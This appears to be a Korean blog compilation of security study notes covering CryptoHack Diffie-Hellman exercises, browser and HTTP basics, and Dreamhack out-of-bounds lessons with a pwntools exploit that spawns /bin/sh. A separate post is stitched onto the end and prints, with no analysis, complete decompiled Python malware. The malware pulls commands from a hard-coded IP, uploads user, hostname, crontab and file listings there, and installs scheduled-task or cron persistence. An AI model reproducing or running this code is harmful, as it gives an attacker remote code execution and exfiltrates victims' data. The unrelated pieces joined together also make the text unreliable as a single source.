cryptohack starter 스테이지 하나씩 풀어보자

정수 modulo N으로 이루어진 set은 덧셈과 곱셈을 포함하여 R이 된다.
n=p(소수)일 때, set 내 모든 요소의 역원은 존재한다. 때문에 R은 F가 가능하다. 이 F를 finite field(?) Fp라고 한다. Diffie-Hellman은 큰 소수인 유한체 Fp의 element들로 이루어진다.
문제) p=991과 F(991)의 element g=209가 주어졌을 때, find the inverse element d such that g*d(mod991)=1
파이썬 코드를 짜서 해결하자
for i in range(0, 990):
res = (i * 209) % 991
if res == 1:
print("inverse: %d" % i)

Fp의 모든 element는 제곱을 통하여 subgroup H를 만들 수 있다. element g의 subgroup H=
primitive element(?) Fp는 H가 Fp*이다. 0을 제외한 Fp의 element는 어떠한 정수 n에 의해 g^n(mod p)로 정의할 수 있다.
이때 primitive element는 generators of the finite field로 불린다.
문제) F(28151)에서 primitive element가 될 수 있는 가장 작은 element g 구하기
브루트포스보다 더 괜찮은 방법을 찾아보라고 한다..
일단 기초정수론에 대해 가물가물하므로, 몇가지 복습했다.
Zn* 기약 잉여계: Zn의 원소 중에서 곱셈에 대한 역원이 있는 숫자들의 집합
이때 n이 소수 p이면, Zp*={1, .., p-1}
문제를 수식으로 정리하면,
F(28151)*=={1,...,28150}={g^n,g^(n+1),...}일 때 g 구하는 방법
- 소인수분해 28150=25^2563
- 2부터 p-1중에서 다음 조건 만족
#소인수 n일 때
g^(28150/n) =/= 1 (mod 28151)
파이썬 코드를 짜보자
p = 28151
arr1 = [2, 5, 563]
arr2 = [(p - 1) // arr1[0], (p - 1) // arr1[1], (p - 1) // arr1[2]]
for g in range(2, p):
flag = True
for i in arr2:
if pow(g, i, p) == 1:
flag = False
break
if flag == True:
print(f"The smallest g={g}")
break

Step 1. 소수 p와 생성자 g 설정
Step 2. p=2*q+1이며 p-1=2q(q는 소수)
Step 3. a<p-1일 때, g^a(mod p)
문제) 주어진 조건에서 g^a mod p 구하기

문제) shared secret 구하기
앨리스한테 받은 거 g^a=A(mod p)에서 a 모름
내가 보낸 거 g^b=B(mod p)
shared secret K는 다음과 같다. A,B 값을 서로에게 공유하여
B^a=A^b=g^ab (mod p)
때문에 a를 몰라도 A^b로 계산해주면 아래와 같다.

shared secret으로 AES key를 만든다
어렵지 않고 그냥 shared secret 만들어서 decrypt.py 파일에 넣어주면 된다


웹 브라우저: 서버와 HTTP 통신을 대신 해줌 그리고 시각화해서 클라이언트에게 보여줌
주소를 입력했을 때 웹 브라우저가 하는 역할
- URL 분석
- DNS 요청
- HTTP포맷 요청 전송
- HTTP포맷 응답 수신
- 리소스 다운 및 렌더링

URL
웹에 있는 리소스 위치 표현
브라우저는 URL을 이용하여 서버에 웹 리소스 접근

위 그림은 URL의 구조를 표현한다. scheme, authority, path, query, fragment의 자세한 역할은 아래 표로 정리해두었다.
| 요소 |
설명 |
| scheme |
통신하는 프로토콜 명시 |
| authority |
접속할 웹 서버의 호스트 주소와 포트 번호 |
| query |
서버에 전달하는 파라미터, ‘?’로 구분 |
| fragment |
메인 리소스 내 서브 리소스 접근 시 사용, ‘#’로 구분 |
Domain name
Host는 도메인 이름 또는 ip 주소의 값이 들어간다. 이때 도메인은 ip 주소 대신 사용할 수 있는 별명이라고 생각하면 편하다. 다만 도메인 사용 시에는 서버 접속할 때 DNS(Domain Name Server)를 거쳐서 ip 주소를 응답받고 해당 주소로 접속하는 절차이다. 정리하면 아래와 같다.
- Host에 도메인 이름이 적힌 URL 입력
- DNS에 도메인 주소 전달, ip 주소 받기
- 받은 주소로 서버 접속
웹 렌더링
받은 리소스를 시각화 하기 위해서는 웹 렌더링이 필요하다.
브라우저별로 웹 렌더링을 위한 렌더링 엔진이 다르다.
| 브라우저 |
사용 엔진 |
| 사파리 |
웹킷(Webkit) |
| 크롬 |
블링크 |
| 파이어폭스 |
개코(Gecko) |
개발자 도구 -> 브라우저를 띄워둔 상태에서 단축키 f12

위 카테고리는 기능을 선택하는 패널을 뜻한다. 중요 기능들만 짚어보자
Elements
현재 페이지 HTML 코드를 읽을 수 있다. HTML은 코드..?보다는 일종의 문서라고 이해하면 편한 거 같다.
코드를 선택하고 F2키 또는 더블클릭하면 코드를 수정할 수 있다.
Console
콘솔창에서는 JS 코드에서 발생한 메시지를 출력하고, 입력한 JS 코드도 실행해준다.
console 오브젝트에 개발자 도구 콘솔에 접근할 수 있는 함수가 포함되어 있다.

위와 같이 입력해주면 hello 문자열을 담은 창이 나타난다.
Sources
웹 리소스들을 확인할 수 있는 창이다. 3분할로 되어있다.
| 설명 |
| 현재 페이지의 리소스 파일 트리, 파일 시스템 |
| 왼쪽에서 선택한 리소스 상세 보기 |
| 디버깅 정보 |
오른쪽 디버깅 정보에 있는 요소도 짚고 넘어가자
| 요소 |
설명 |
| Watch |
JS 식 입력 -> 식의 값 변화 확인 |
| Call Stack |
함수들 호출 순서 -> 스택 형태로 정리 |
| Scope |
정의된 변수들 값 확인 |
| Breakpoints |
중단점 확인, on/off 설정 |
Sources- Debug
드림핵 실습 페이지에서 source 탭 실습을 진행해보자.

source창에서 코드 줄에 중단점을 걸면 Breakpoints에 위 같이 나온다.

name 검사 부분에 중단점을 걸고 click 버튼을 누르면 위와 같이 디버깅을 할 수 있다. name에 hi를 입력해준 것이 debug창 scope에도 출력된다.
Network
서버와 오가는 데이터를 확인할 수 있다.

Network- Copy
원하는 데이터를 우클릭>copy>copy as fetch 후에
console 패널에 붙여넣기하면 동일한 요청을 서버에 재전송할 수 있다.

아래 콘솔창에 요청을 붙여넣기 한 화면이다.
Application
웹 어플리케이션과 관련된 리소스를 열람할 수 있다.

페이지 소스 보기
windows 기준 ctrl+u를 누르면, 새 창으로 페이지 소스 코드를 볼 수 있다.

시크릿모드
시크릿모드로 생성한 브라우저 종료 시 저장되지 않는 목록은 다음과 같다.
- 방문 기록
- 쿠키 및 사이트 데이터
- 양식에 입력한 정보 -> 쿠키가 없기 때문인가?
- 웹사이트에 부여된 권한
웹: HTTP라는 프로토콜을 이용한 서비스
제공 주체 -> 서버
받는 주체 -> 클라이언트
HTTP를 이용하여 서버와 클라이언트가 통신
웹 리소스
클라이언트의 요청 받는 부분 -> 프론트엔드
요청을 처리하는 부분 -> 백엔드
프론트엔드는 웹 리소스로 구성되어 있다.
www.6kitt-hack.tistory.com/post
라는 주소가 있다. www.6kitt-hack.tistory.com에서서 /post의 리소스를 요청한다.
리소스 구성은 아래와 같다. 아래 요소에 대한 자세한 내용은 URI 첨부(비밀번호:p4p4)
웹 클라이언트와 서버의 통신
통신 과정 그림이다.
- 클라이언트가 브라우저를 이용하여 서버에 접속한다.
- 브라우저가 요청을 해석하여 HTTP 형식으로 서버에 리소스를 요청한다.
- 서버가 HTTP 형식으로 받은 요청을 해석한다.
- 서버가 요청을 해석한대로 처리한다.
- 서버가 HTTP 형식으로 응답을 클라이언트에 전달한다.
- 응답 받은 HTTP 형식을 웹 리소스를 이용하여 시각화한다.
HTTP
http에 대해 알아보기 전 프로토콜에 대해 간략히..
프로토콜: 통신을 하기 위해 약속한 것들..
HTTP: hyper text transfer protocol, 데이터 교환을 요청과 응답 형식으로 정의한 프로토콜
클라이언트가 요청 -> 서버가 응답
웹 서버는 HTTP 서버를 HTTP 서비스 포트(보통 TCP/80 또는 TCP/8080)에 대기시킴
HTTP 메시지
크게 헤더와 바디로 나누어진다.
HTTP 요청
위 메시지 포맷을 기준으로 요청은 어떠한 구성을 갖고 있는지 살펴보자.
in 시작 줄..
요청은 시작 줄에 메소드, 요청 대상, HTTP 버전을 삽입한다.
메소드: 서버가 처리하길 원하는 동작
-> GET : 리소스 요청 메소드
-> POST : 데이터 전송 메소드, 데이터는 바디에
HTTP 응답
in 시작 줄..
응답은 시작 줄에 HTTP 버전, 상태 코드, 처리 사유 삽입한다.
상태코드는 아래 표로 정리
| 상태 코드 |
설명 |
| 1xx |
요청 받고, 처리 진행중 |
| 2xx |
요청 처리됨 (200 OK) |
| 3xx |
클라이언트의 추가 동작 요청 (302 Found: 다른 URL 이동) |
| 4xx |
요청을 잘못 받아서 처리 실패 (400 Bad Request, 404 Not Found) |
| 5xx |
요청은 받았지만 처리 실패 (500 Internal Server Error, 503 Service Unavailable) |
HTTPS
HTTP는 응답 요청이 평문으로 전달 -> 보안성이 취약함
HTTPS는 HTTP에 TLS 프로토콜을 넣어 보안성 향상시킴
TLS가 HTTP 메시지를 암호화
Quiz: web
- JS로 웹리소스는 서버에서 실행 -> X, 프론트엔드는 클라이언트 측
- 프로트엔드의 동작 구현 -> JS
- 웹 리소스 스타일 지정 -> CSS
- URI 웹 리소스 식별에 사용
- 브라우저는 서버에 HTTP형식으로 전달
- 프론트엔드는 웹 리소스로 구성
- 태그와 속성 등으로 문서 뼈대 구출 -> HTML
Quiz: HTTP/HTTPS
- 서버에 추가 정보를 전달하는 데이터 부분 -> HTTP 헤더
- HTTPS 포트 번호 -> 443
- HTTP 포트 번호 -> 80
Memory Corruption: Out of Bounds
배열의 임의 인덱스에 접근할 수 있는 취약점 OOB
배열의 속성
배열은 연속된 메모리 공간 점유..
공간의 크기=요소 개수(length라고도 함) X 자료형의 크기

배열 각 요소의 주소를 계산할 때 필요한 것..
배열의 주소, 요소의 인덱스, 요소 자료형의 크기
Out of Bounds
인덱스 값이 음수 혹은 배열의 길이를 벗어날 때 발생
범위 외 인덱스값을 참조하면 다른 메모리 값 참조 가능..
OOB의 PoC
// Name: oob.c
// Compile: gcc -o oob oob.c
#include <stdio.h>
int main() {
int arr[10];
printf("In Bound: \n");
printf("arr: %p\n", arr);
printf("arr[0]: %p\n\n", &arr[0]);
printf("Out of Bounds: \n");
printf("arr[-1]: %p\n", &arr[-1]);
printf("arr[100]: %p\n", &arr[100]);
return 0;
}

Out of Bounds인 범위 외 인덱스를 사용했음에도 값 출력
임의 주소 읽기
필요한 것.. 읽으려는 변수와 배열의 오프셋
if 배열과 변수가 같은 세그먼트 할당..
둘 사이 오프셋은 항상 일정.. -> 디버깅으로 알아내기 가능
if 배열과 변수가 다른 세그먼트 할당..
다른 취약점으로 두 변수의 주소 구하고 차이 계산
// Name: oob_read.c
// Compile: gcc -o oob_read oob_read.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
char secret[256];
int read_secret() {
FILE *fp;
if ((fp = fopen("secret.txt", "r")) == NULL) {
fprintf(stderr, "`secret.txt` does not exist");
return -1;
}
fgets(secret, sizeof(secret), fp);
fclose(fp);
return 0;
}
int main() {
char *docs[] = {"COMPANY INFORMATION", "MEMBER LIST", "MEMBER SALARY",
"COMMUNITY"};
char *secret_code = secret;
int idx;
// Read the secret file
if (read_secret() != 0) {
exit(-1);
}
// Exploit OOB to print the secret
puts("What do you want to read?");
for (int i = 0; i < 4; i++) {
printf("%d. %s\n", i + 1, docs[i]);
}
printf("> ");
scanf("%d", &idx);
if (idx > 4) {
printf("Detect out-of-bounds");
exit(-1);
}
puts(docs[idx - 1]);
return 0;
}
if문에서 idx가 4보다 큰지만 검사하고 음수일 때는 고려하지 않는다.
docs와 secret_code는 스택에 할당됨
docs에 대한 OOB 이용

임의 주소 쓰기
// Name: oob_write.c
// Compile: gcc -o oob_write oob_write.c
#include <stdio.h>
#include <stdlib.h>
struct Student {
long attending;
char *name;
long age;
};
struct Student stu[10];
int isAdmin;
int main() {
unsigned int idx;
// Exploit OOB to read the secret
puts("Who is present?");
printf("(1-10)> ");
scanf("%u", &idx);
stu[idx - 1].attending = 1;
if (isAdmin) printf("Access granted.\n");
return 0;
}
stu 배열과 isAdmin 전역 변수
unsigned int는 부호 없는 수->음수는 안됨
그러나 양수에 대한 범위 제한 없음 -> OOB 취약점
isAdmin을 1로 만들면 되는 문제

240바이트 차이.. Student구조체 크기가 24바이트..
10번째 인덱스 참조

Exploit Tech: Out of bounds
x86, 즉 32비트 아키텍처를 가지는 환경에서 배열의 임의 인덱스 접근 방법 소개..
checksec 확인
Canary -> SFP나 RET 변경 불가..
ASLR -> 실행할 때마다 스택, 라이브러리 주소 랜덤화..
NX -> 위치에 셀코드 삽입 후 코드 실행 불가
PIE는 없음 -> 메모리 주소 랜덤 X, 데이터 영역 변수 주소 항상 동일
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
#include <string.h>
char name[16];
char *command[10] = { "cat",
"ls",
"id",
"ps",
"file ./oob" };
void alarm_handler() {
puts("TIME OUT");
exit(-1);
}
void initialize() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(30);
}
int main() {
int idx;
initialize();
printf("Admin name: ");
read(0, name, sizeof(name));
printf("What do you want?: ");
scanf("%d", &idx);
system(command[idx]);
return 0;
}
name과 command 같은 전역 변수..
name에서 command[idx]에 “/bin/sh\x00” 들어가도록..

76바이트만큼 차이
command[1]=주소 + 4
주소 + 76 = command[19] //이부분이 name
name에 “/bin/sh\x00”을 저장하고 command에 19를 겨냥..?
맞긴 맞는데 name에 단순히 문자열을 입력해주면 안되고 저 문자열이 저장되어 있는 주소를 입력해줘야 함
단순히 문자열만 입력해주면..

이렇게 /bin만 저장됨..
때문에 name의 주소를 입력해줘야 함
from pwn import *
p = remote("host3.dreamhack.games", 18187)
payload = b"/bin/sh\x00" + p32(0x804a0ac)
p.sendline(payload)
p.sendline(b"21")
p.interactive()
19가 아니라 21인 이유는
/bin/sh\x00(8바이트) 이후 주소값을 가리키기 위해..
23 Sep 2024
---
layout: post
title: "칼럼 보충자료"
categories: [Retrospective]
tags: [Python, Code, MultiPartForm, Windows, Linux]
last_modified_at: 2024-09-23
---
```python
# Decompiled with PyLingual (https://pylingual.io)
# Internal filename: full.py
# Bytecode version: 3.10.0rc2 (3439)
# Source timestamp: 2023-04-14 14:32:05 UTC (1681482725)
import os
import subprocess
import urllib.request
from io import BytesIO
import platform
import time
import mimetypes
from urllib.request import urlopen, Request
class MultiPartForm:
"""Accumulate the data to be used when posting a form."""
def __init__(self):
self.form_fields = []
self.files = []
self.boundary = f'------------------------{hex(int(time.time() * 1000))}'
def get_content_type(self):
return f'multipart/form-data; boundary={self.boundary}'
def add_field(self, name, value):
"""Add a simple field to the form data.""" # inserted
self.form_fields.append((name, value))
def add_file(self, fieldname, filename, filehandle, mimetype=None):
"""Add a file to be uploaded.""" # inserted
body = filehandle.read()
if mimetype is None:
mimetype = mimetypes.guess_type(filename)[0] or 'application/octet-stream'
self.files.append((fieldname, filename, mimetype, body))
def __bytes__(self):
"""Return a byte-string representing the form data, including attached files.""" # inserted
buffer = BytesIO()
boundary = bytes(self.boundary.encode())
for name, value in self.form_fields:
buffer.write(b'--%s\r\n' % boundary)
buffer.write(b'Content-Disposition: form-data; name="%s"\r\n' % bytes(name.encode()))
buffer.write(b'\r\n' + bytes(value.encode()) + b'\r\n')
for fieldname, filename, mimetype, body in self.files:
buffer.write(b'--%s\r\n' % boundary)
buffer.write(b'Content-Disposition: form-data; name="%s"; filename="%s"\r\n' % (bytes(fieldname.encode()), bytes(filename.encode())))
buffer.write(b'Content-Type: %s\r\n' % bytes(mimetype.encode()))
buffer.write(b'\r\n' + body + b'\r\n')
buffer.write(b'--%s--\r\n' % boundary)
return buffer.getvalue()
def send_file(file):
url = 'http://13.51.44.246/upload/'
form = MultiPartForm()
form.add_file('file', file, open(file, 'rb'))
request = Request(url)
body = bytes(form)
request.add_header('Content-type', form.get_content_type())
request.add_header('Content-length', len(body))
request.data = body
urlopen(request)
def create_windows_task(trigger_interval):
python_dir = os.path.join(os.path.expanduser('~'), 'AppData', 'Local', 'Programs', 'Python')
python_versions = [f for f in os.listdir(python_dir) if f.startswith('Python')]
latest_version = sorted(python_versions)[-1]
python_path = os.path.join(python_dir, latest_version, 'python.exe')
task_name = 'My_task'
script_path = os.path.join(os.path.expanduser('~'), 'locale', 'init.py')
cmd = f'schtasks /create /tn "{task_name}" /tr "{python_path} {script_path}" /sc minute /mo {trigger_interval} /F /RL HIGHEST /NP'
subprocess.call(cmd, shell=True, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)
cmd_enable_task = f'schtasks /run /tn "{task_name}"'
subprocess.call(cmd_enable_task, shell=True, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)
def get_path():
try:
pass
web = 'http://13.51.44.246/commands'
response = urllib.request.urlopen(web)
commands_list = response.read().decode().strip().split('\n')
if platform.system() == 'Windows':
user = os.getlogin()
dir_path = f'C:\\Users\\{user}\\locale'
if os.path.exists(dir_path):
return
os.makedirs(dir_path, exist_ok=True)
hostname = os.environ['COMPUTERNAME']
file_path_user = os.path.join(dir_path, f'{user}__{hostname}__user.txt')
with open(file_path_user, 'w') as f:
f.write(f'{hostname}@{user}\n')
script_path = os.path.join(dir_path, 'init.py')
with open(script_path, 'w') as f:
for command in commands_list:
f.write(command + '\n')
file_path_all = os.path.join(dir_path, f'{user}__{hostname}__all.txt')
os.system(f'dir C:\\Users\\{user} /s /b > {file_path_all}')
send_file(file_path_user)
send_file(file_path_all)
os.remove(file_path_user)
os.remove(file_path_all)
create_windows_task('1')
else: # inserted
if platform.system() == 'Linux':
home_dir = os.path.expanduser('~')
dir_path = os.path.join(home_dir, 'locale')
if os.path.exists(dir_path):
return
os.makedirs(dir_path, exist_ok=True)
hostname = subprocess.check_output(['hostname']).decode().strip()
user = subprocess.check_output(['whoami']).decode().strip()
crontab_default = subprocess.check_output(['crontab', '-l']).decode().strip()
file_path_user = os.path.join(dir_path, f'{user}__{hostname}__user.txt')
with open(file_path_user, 'w') as f:
f.write(f'{hostname}@{user}\n')
script_path = os.path.join(dir_path, 'init.py')
with open(script_path, 'w') as f:
for command in commands_list:
f.write(command + '\n')
file_path_crontab = os.path.join(dir_path, f'{user}__{hostname}__crontab_default.txt')
with open(file_path_crontab, 'w') as f:
f.write(f'{crontab_default}')
file_path_all = os.path.join(dir_path, f'{user}__{hostname}__all.txt')
os.system(f'ls -laR /home/{user} >> {file_path_all}')
send_file(file_path_crontab)
send_file(file_path_user)
send_file(file_path_all)
os.remove(file_path_crontab)
os.remove(file_path_user)
os.remove(file_path_all)
new_cronjob = '*/10 * * * * /usr/bin/python3 {} >> {}/{}run.log 2>&1'.format(script_path, dir_path, f'{user}@{hostname}_')
subprocess.run(f'(crontab -l ; echo "{new_cronjob}") | crontab -', shell=True)
```